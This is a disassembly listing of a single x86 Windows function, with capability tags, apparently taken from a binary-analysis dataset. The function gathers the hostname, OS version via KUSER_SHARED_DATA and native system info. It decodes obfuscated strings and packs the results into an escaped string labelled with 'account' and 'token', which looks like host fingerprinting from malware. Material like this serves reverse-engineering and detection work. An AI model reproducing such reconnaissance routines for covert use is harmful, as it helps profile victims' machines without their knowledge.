Function at 0x100019c0
Capabilities:
Get hostname
Get os information via kuser_shared_data
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
push edi
mov ecx, str.bLtYYV_l60wPfUsx
call fcn.10001400
push eax
call fcn.1000788b
add esp, 4
mov ebx, 0x1001aaa6
test eax, eax
mov ecx, ebx
cmovne ecx, eax
mov dword [ebp - 4], ecx
mov ecx, str.FxRi_mVRybWKURLYxXotog
call fcn.10001400
push eax
call fcn.1000788b
add esp, 4
test eax, eax
cmovne ebx, eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [ebp - 0x34]
cmp ax, 9
jne 0x10001a2b
mov ecx, str._xvGsVcdd4qK6a4g
call fcn.10001400
mov edi, eax
jmp 0x10001a43
test ax, ax
jne 0x10001a3e
mov ecx, str.d11Y8vEGb0g
call fcn.10001400
mov edi, eax
jmp 0x10001a43
mov edi, str.Unknown
push 0x46
call fcn.10007896
add esp, 4
mov dword [ebp - 8], eax
push dword [0x7ffe0260]
push dword [0x7ffe0270]
push dword [0x7ffe026c]
push str._lu._lu._lu
push 0x46
push eax
call fcn.10001010
add esp, 0x18
mov dword [ebp - 0xc], 0x104
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x140]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
cmp byte [ebp - 0x140], 0
je 0x10001a9d
lea ebx, [ebp - 0x140]
jmp 0x10001aa9
mov ecx, str.oe0QzNXunPknqzPhynonw
call fcn.10001400
mov ebx, eax
push 0x400
call fcn.10007896
add esp, 4
mov esi, eax
push ebx
push dword [ebp - 8]
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
push str._s__s__s__s__s
push 0x400
push esi
call fcn.10001010
add esp, 0x20
mov ecx, esi
call fcn.100014a0
mov edi, eax
xor eax, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x10001cb1
xor ebx, ebx
cmp byte [edi], al
je 0x10001b28
mov esi, edi
xor edi, edi
nop word [eax + eax]
push 0x1001aae0
push esi
call fcn.10002c50
add esp, 8
lea ecx, [ebx + 1]
cmp eax, esi
cmovne ecx, ebx
inc esi
inc edi
mov ebx, ecx
cmp byte [esi], 0
jne 0x10001b00
mov dword [ebp - 0x10], edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
lea eax, [eax + ebx*2]
inc eax
push eax
call fcn.10007896
mov esi, eax
add esp, 4
mov dword [ebp - 8], esi
test esi, esi
je 0x10001caf
xor edx, edx
mov dword [ebp - 0xc], edx
cmp byte [edi], dl
je 0x10001baa
mov dword [ebp - 4], esi
mov ebx, esi
push 0x1001aae0
push edi
call fcn.10002c50
add esp, 8
cmp eax, edi
jne 0x10001b87
mov ecx, 0x1001aadc
mov edx, ebx
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10001b70
mov ecx, 1
lea eax, [ecx + 2]
jmp 0x10001b94
mov al, byte [edi]
mov ecx, edi
mov edi, 1
mov byte [esi], al
mov eax, edi
mov edx, dword [ebp - 0xc]
add edi, ecx
add edx, eax
add esi, eax
add ebx, eax
mov dword [ebp - 0xc], edx
cmp byte [edi], 0
jne 0x10001b50
mov esi, dword [ebp - 8]
xor eax, eax
mov byte [esi + edx], 0
xor ebx, ebx
mov dword [ebp - 0xc], esi
cmp byte [esi], al
je 0x10001beb
mov edi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
xor esi, esi
push 0x1001aae8
push edi
call fcn.10002c50
add esp, 8
lea ecx, [ebx + 1]
cmp eax, edi
cmovne ecx, ebx
inc edi
inc esi
mov ebx, ecx
cmp byte [edi], 0
jne 0x10001bc3
mov dword [ebp - 4], esi
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
lea eax, [eax + ebx*2]
inc eax
push eax
call fcn.10007896
mov edi, eax
add esp, 4
mov dword [ebp - 4], edi
test edi, edi
je 0x10001caf
mov eax, dword [ebp - 0xc]
xor edx, edx
mov dword [ebp - 8], edx
cmp byte [eax], dl
je 0x10001c6a
mov ebx, edi
push 0x1001aae8
push esi
call fcn.10002c50
add esp, 8
cmp eax, esi
jne 0x10001c47
mov eax, 0x1001aae4
mov edx, edi
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x10001c30
mov ecx, 1
lea eax, [ecx + 2]
jmp 0x10001c54
mov al, byte [esi]
mov ecx, esi
mov esi, 1
mov byte [ebx], al
mov eax, esi
mov edx, dword [ebp - 8]
add esi, ecx
add edx, eax
add ebx, eax
add edi, eax
mov dword [ebp - 8], edx
cmp byte [esi], 0
jne 0x10001c13
mov edi, dword [ebp - 4]
push 0x800
mov byte [edi + edx], 0
call fcn.10007896
add esp, 4
mov ecx, str.dihqm6Am_zKjwgW96HYUgg
mov esi, eax
push edi
push str._token
push str.account
call fcn.10001400
push eax
push str._s_s_s_s
push 0x800
push esi
call fcn.10001010
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret